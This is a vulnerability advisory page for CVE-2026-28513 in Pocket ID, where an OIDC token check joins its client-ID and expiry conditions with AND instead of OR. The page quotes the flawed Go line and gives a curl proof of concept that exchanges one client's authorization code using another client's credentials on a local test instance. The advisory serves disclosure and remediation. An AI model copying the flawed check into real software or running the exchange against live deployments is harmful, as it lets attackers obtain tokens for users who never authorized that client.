Loading...
Skip to main content

CVE-2026-28513 — Vulnerability in...

HIGH

Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Published March 9, 2026Updated March 23, 2026Source: osv

Summary

### Summary The OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse. ### Details `backend/internal/service/oidc_service.go:407` ```go if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) { return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{} } ``` `&&` should be `||`. Current behavior: | Condition | Expected | Actual | |-----------|----------|--------| | Wrong client + valid code | Reject | **Accept** | | Correct client + expired code | Reject | **Accept** | ### PoC **Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client. ```bash # 1. Seed test data curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true" # 2. Exchange Nextcloud's auth code using Immich's credentials curl -X POST http://localhost:1411/api/oidc/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=authorization_code" \ -d "code=auth-code" \ -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \ -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \ -d "redirect_uri=http://immich/auth/callback" # Expected: 400 (wrong client) # Actual: 200 with tokens — access_token.aud = Immich client ID ``` **Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud). ### Impact Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

Advisory Timeline

  • First published March 9, 2026 (217 days ago).
  • Last revised March 23, 2026 — 13 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/pocket-id/pocket-id/backend to 0.0.0-20260307173642-b59e35cb59ae or later
go get github.com/pocket-id/pocket-id/backend@v0.0.0-20260307173642-b59e35cb59ae

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/pocket-id/pocket-id/backend
go
All versions0.0.0-20260307173642-b59e35cb59ae

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-863
    Incorrect AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Frequently Asked Questions

What is CVE-2026-28513?
Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.5/10).
How do I check if my project is affected by CVE-2026-28513?
CVE-2026-28513 affects github.com/pocket-id/pocket-id/backend. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-28513 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-qh6q-598w-w6m2
GO-2026-4656

Related CVEs

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies